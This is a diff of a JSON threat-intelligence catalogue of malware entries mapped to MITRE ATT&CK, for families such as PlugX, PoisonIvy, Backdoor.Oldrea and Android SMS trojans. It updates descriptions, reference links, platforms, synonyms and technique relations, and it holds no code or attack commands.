"estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4653,6 +4456,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "f3975cc0-72bc-4308-836e-ac701b83860e", @@ -5150,14 +4960,7 @@ "type": "uses" }, { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5170,12 +4973,26 @@ ], "type": "uses" }, + { + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d1f1337e-aea7-454c-86bd-482a98ffaf62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "5a5dca4c-03c1-4b99-bfcf-c206e20aa663", @@ -5212,21 +5029,21 @@ "type": "uses" }, { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5247,14 +5064,21 @@ "type": "uses" }, { - "dest-uuid": "693cdbff-ea73-49c6-ac3f-91e7285c31d1", + "dest-uuid": "73c26732-6422-4081-8b63-6d0ae93d449e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "73c26732-6422-4081-8b63-6d0ae93d449e", + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5268,7 +5092,7 @@ "type": "uses" }, { - "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5282,7 +5106,7 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5303,7 +5127,7 @@ "type": "uses" }, { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "e083305c-49e7-4c87-aae8-9689213bffbe", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5324,7 +5148,14 @@ "type": "uses" }, { - "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5334,187 +5165,24 @@ "uuid": "c6abcaf8-1765-41f8-9fe5-03d42fd0f6c0", "value": "Tiktok Pro - S0558" }, - { - "description": "[Cyclops Blink](https://attack.mitre.org/software/S0687) is a modular malware that has been used in widespread campaigns by [Sandworm Team](https://attack.mitre.org/groups/G0034) since at least 2019 to target Small/Home Office (SOHO) network devices, including WatchGuard and Asus.(Citation: NCSC Cyclops Blink February 2022)(Citation: NCSC CISA Cyclops Blink Advisory February 2022)(Citation: Trend Micro Cyclops Blink March 2022)", - "meta": { - "external_id": "S0687", - "mitre_platforms": [ - "Network" - ], - "refs": [ - "https://attack.mitre.org/software/S0687", - "https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf", - "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter", - "https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html" - ], - "synonyms": [ - "Cyclops Blink" - ] - }, - "related": [ - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "791481f8-e96a-41be-b089-a088763083d4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a782ebe2-daba-42c7-bc82-e8e9d923162d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "acd0ba37-7ba9-4cc5-ac61-796586cd856d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d467bc38-284b-4a00-96ac-125f447799fc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "dca670cf-eeec-438f-8185-fd959d9ef211", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "b350b47f-88fe-4921-8538-6d9c59bac84e", - "value": "Cyclops Blink - S0687" - }, { "description": "[Trojan-SMS.AndroidOS.FakeInst.a](https://attack.mitre.org/software/S0306) is Android malware. (Citation: Kaspersky-MobileMalware)", "meta": { "external_id": "S0306", + "mitre_platforms": [ + "Android" + ], "refs": [ "https://attack.mitre.org/software/S0306", "https://securelist.com/mobile-malware-evolution-2013/58335/" + ], + "synonyms": [ + "Trojan-SMS.AndroidOS.FakeInst.a" ] }, "related": [ { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5528,14 +5196,20 @@ "description": "[Trojan-SMS.AndroidOS.Agent.ao](https://attack.mitre.org/software/S0307) is Android malware. (Citation: Kaspersky-MobileMalware)", "meta": { "external_id": "S0307", + "mitre_platforms": [ + "Android" + ], "refs": [ "https://attack.mitre.org/software/S0307", "https://securelist.com/mobile-malware-evolution-2013/58335/" + ], + "synonyms": [ + "Trojan-SMS.AndroidOS.Agent.ao" ] }, "related": [ { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5549,14 +5223,20 @@ "description": "[Trojan-SMS.AndroidOS.OpFake.a](https://attack.mitre.org/software/S0308) is Android malware. (Citation: Kaspersky-MobileMalware)", "meta": { "external_id": "S0308", + "mitre_platforms": [ + "Android" + ], "refs": [ "https://attack.mitre.org/software/S0308", "https://securelist.com/mobile-malware-evolution-2013/58335/" + ], + "synonyms": [ + "Trojan-SMS.AndroidOS.OpFake.a" ] }, "related": [ { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5575,7 +5255,7 @@ ], "refs": [ "https://attack.mitre.org/software/S0084", - "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf" + "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" ], "synonyms": [ "Mis-Type" @@ -5686,7 +5366,7 @@ ], "refs": [ "https://attack.mitre.org/software/S0085", - "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf" + "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" ], "synonyms": [ "S-Type" @@ -5875,9 +5555,17 @@ "description": "[Miner-C](https://attack.mitre.org/software/S0133) is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread. (Citation: Softpedia MinerC)", "meta": { "external_id": "S0133", + "mitre_platforms": [ + "Windows" + ], "refs": [ "http://news.softpedia.com/news/cryptocurrency-mining-malware-discovered-targeting-seagate-nas-hard-drives-508119.shtml", "https://attack.mitre.org/software/S0133" + ], + "synonyms": [ + "Miner-C", + "Mal/Miner-C", + "PhotoMiner" ] }, "related": [ @@ -6131,14 +5819,28 @@ }, "related": [ { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6152,14 +5854,7 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6173,7 +5868,7 @@ "type": "uses" }, { - "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6200,14 +5895,28 @@ }, "related": [ { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "acf8fd2a-dc98-43b4-8d37-64e10728e591", + "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6248,28 +5957,28 @@ "type": "uses" }, { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", + "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6282,6 +5991,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", "tags": [ @@ -6290,7 +6006,14 @@ "type": "uses" }, { - "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6351,7 +6074,7 @@ }, "related": [ { - "dest-uuid": "986f80f7-ff0e-4f48-87bd-0394814bbce5", + "dest-uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6438,17 +6161,15 @@ "value": "Agent.btz - S0092" }, { - "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) is a modular backdoor that used by [Dragonfly](https://attack.mitre.org/groups/G0035) against energy companies since at least 2013. [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) was distributed via supply chain compromise, and included specialized modules to enumerate and map ICS-specific systems, processes, and protocols.(Citation: Symantec Dragonfly)(Citation: Gigamon Berserk Bear October 2021)(Citation: Symantec Dragonfly Sept 2017)", + "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) is a backdoor used by [Dragonfly](https://attack.mitre.org/groups/G0035). It appears to be custom malware authored by the group or specifically for it. (Citation: Symantec Dragonfly)", "meta": { "external_id": "S0093", "mitre_platforms": [ "Windows" ], "refs": [ - "https://attack.mitre.org/software/S0093", - "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", - "https://docs.broadcom.com/doc/dragonfly_threat_against_western_energy_suppliers", - "https://vblocalhost.com/uploads/VB2021-Slowik.pdf" + "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf", + "https://attack.mitre.org/software/S0093" ], "synonyms": [ "Backdoor.Oldrea", @@ -6463,13 +6184,6 @@ ], "type": "uses" }, - { - "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ @@ -6553,42 +6267,21 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" - }, - { - "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "083bb47b-02c8-4423-81a2-f9ef58572974", "value": "Backdoor.Oldrea - S0093" }, { - "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) is a modular remote access tool used for recon and linked to [Dragonfly](https://attack.mitre.org/groups/G0035). The source code for [Trojan.Karagany](https://attack.mitre.org/software/S0094) originated from Dream Loader malware which was leaked in 2010 and sold on underground forums. (Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)(Citation: Dragos DYMALLOY )", + "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) is a modular remote access tool used for recon and linked to [Dragonfly](https://attack.mitre.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre.org/groups/G0074). The source code for [Trojan.Karagany](https://attack.mitre.org/software/S0094) originated from Dream Loader malware which was leaked in 2010 and sold on underground forums. (Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)(Citation: Dragos DYMALLOY )", "meta": { "external_id": "S0094", "mitre_platforms": [ "Windows" ], "refs": [ + "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf", "https://attack.mitre.org/software/S0094", - "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", "https://www.dragos.com/threat/dymalloy/", "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector" ], @@ -6775,13 +6468,6 @@ ] }, "related": [ - { - "dest-uuid": "09b130a2-a77e-4af0-a361-f46f9aad1345", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "143c0cbb-a297-4142-9624-87ffc778980b", "tags": [ @@ -6831,6 +6517,13 @@ ], "type": "uses" }, + { + "dest-uuid": "65917ae0-b854-4139-83fe-bf2441cf0196", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", "tags": [ @@ -7388,9 +7081,15 @@ "description": "[DressCode](https://attack.mitre.org/software/S0300) is an Android malware family. (Citation: TrendMicro-DressCode)", "meta": { "external_id": "S0300", + "mitre_platforms": [ + "Android" + ], "refs": [ "http://blog.trendmicro.com/trendlabs-security-intelligence/dresscode-potential-impact-enterprises/", "https://attack.mitre.org/software/S0300" + ], + "synonyms": [ + "DressCode" ] }, "related": [ @@ -7632,7 +7331,7 @@ ], "refs": [ "https://attack.mitre.org/software/S0004", - "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" ], "synonyms": [ "TinyZBot" @@ -8267,13 +7966,6 @@ ], "type": "uses" }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "565275d5-fcc3-4b66-b4e7-928e4cac6b8c", "tags": [ @@ -8281,13 +7973,6 @@ ], "type": "uses" }, - { - "dest-uuid": "a62a8db3-f23a-4d8f-afd6-9dbc77e7813b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "c615231b-f253-4f58-9d47-d5b4cbdb6839", "tags": [ @@ -8309,13 +7994,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "f6dacc85-b37d-458e-b58d-74fc4bbf5755", "tags": [ @@ -8642,7 +8320,7 @@ "value": "WEBC2 - S0109" }, { - "description": "[Derusbi](https://attack.mitre.org/software/S0021) is malware used by multiple Chinese APT groups.(Citation: Novetta-Axiom)(Citation: ThreatConnect Anthem) Both Windows and Linux variants have been observed.(Citation: Fidelis Turbo)", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) is malware used by multiple Chinese APT groups. (Citation: Novetta-Axiom) (Citation: ThreatConnect Anthem) Both Windows and Linux variants have been observed. (Citation: Fidelis Turbo)", "meta": { "external_id": "S0021", "mitre_platforms": [ @@ -8981,14 +8659,13 @@ "value": "JPIN - S0201" }, { - "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) is a popular remote access tool (RAT) that has been used by many groups.(Citation: FireEye Poison Ivy)(Citation: Symantec Elderwood Sept 2012)(Citation: Symantec Darkmoon Aug 2005)", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) is a popular remote access tool (RAT) that has been used by many groups. (Citation: FireEye Poison Ivy) (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Darkmoon Aug 2005)", "meta": { "external_id": "S0012", "mitre_platforms": [ "Windows" ], "refs": [ - "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf", "https://attack.mitre.org/software/S0012", "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf", @@ -8997,7 +8674,6 @@ ], "synonyms": [ "PoisonIvy", - "Breut", "Poison Ivy", "Darkmoon" ] @@ -9332,7 +9008,7 @@ }, "related": [ { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9346,7 +9022,14 @@ "type": "uses" }, { - "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", + "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9359,13 +9042,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d8940e76-f9c1-4912-bea6-e21c251370b6", "tags": [ @@ -9373,6 +9049,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -9380,6 +9063,13 @@ ], "type": "uses" }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "ea3a8c25-4adb-4538-bf11-55259bdba15f", "tags": [ @@ -9392,7 +9082,7 @@ "value": "Dendroid - S0301" }, { - "description": "[PlugX](https://attack.mitre.org/software/S0013) is a remote access tool (RAT) with modular plugins that has been used by multiple threat groups.(Citation: Lastline PlugX Analysis)(Citation: FireEye Clandestine Fox Part 2)(Citation: New DragonOK)(Citation: Dell TG-3390)", + "description": "[PlugX](https://attack.mitre.org/software/S0013) is a remote access tool (RAT) that uses modular plugins. It has been used by multiple threat groups. (Citation: Lastline PlugX Analysis) (Citation: FireEye Clandestine Fox Part 2) (Citation: New DragonOK) (Citation: Dell TG-3390)", "meta": { "external_id": "S0013", "mitre_platforms": [ @@ -9402,15 +9092,12 @@ "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf", "http://labs.lastline.com/an-analysis-of-plugx", "http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/", - "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf", "https://attack.mitre.org/software/S0013", "https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html", "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" ], "synonyms": [ "PlugX", - "Thoper", - "TVT", "DestroyRAT", "Sogu", "Kaba", @@ -9446,20 +9133,6 @@ ], "type": "uses" }, - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ @@ -9474,13 +9147,6 @@ ], "type": "uses" }, - { - "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f", "tags": [ @@ -9558,13 +9224,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", "tags": [ @@ -9614,13 +9273,6 @@ ], "type": "uses" }, - { - "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "f4b159ea-97e5-483b-854b-c48a78d562aa", "tags": [ @@ -9967,9 +9619,15 @@ "description": "[Wiper](https://attack.mitre.org/software/S0041) is a family of destructive malware used in March 2013 during breaches of South Korean banks and media companies. (Citation: Dell Wiper)", "meta": { "external_id": "S0041", + "mitre_platforms": [ + "Windows" + ], "refs": [ "http://www.secureworks.com/cyber-threat-intelligence/threats/wiper-malware-analysis-attacking-korean-financial-sector/", "https://attack.mitre.org/software/S0041" + ], + "synonyms": [ + "Wiper" ] }, "related": [ @@ -11960,9 +11618,15 @@ "description": "[Uroburos](https://attack.mitre.org/software/S0022) is a rootkit used by [Turla](https://attack.mitre.org/groups/G0010). (Citation: Kaspersky Turla)", "meta": { "external_id": "S0022", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0022", "https://securelist.com/the-epic-turla-operation/65545/" + ], + "synonyms": [ + "Uroburos" ] }, "related": [ @@ -12226,20 +11890,13 @@ "refs": [ "https://attack.mitre.org/software/S0320", "https://www.proofpoint.com/us/threat-insight/post/droidjack-uses-side-load-backdoored-pokemon-go-android-app", - "https://www.zscaler.com/blogs/security-research/super-mario-run-malware-2-droidjack-rat" + "https://www.zscaler.com/blogs/research/super-mario-run-malware-2-–-droidjack-rat" ], 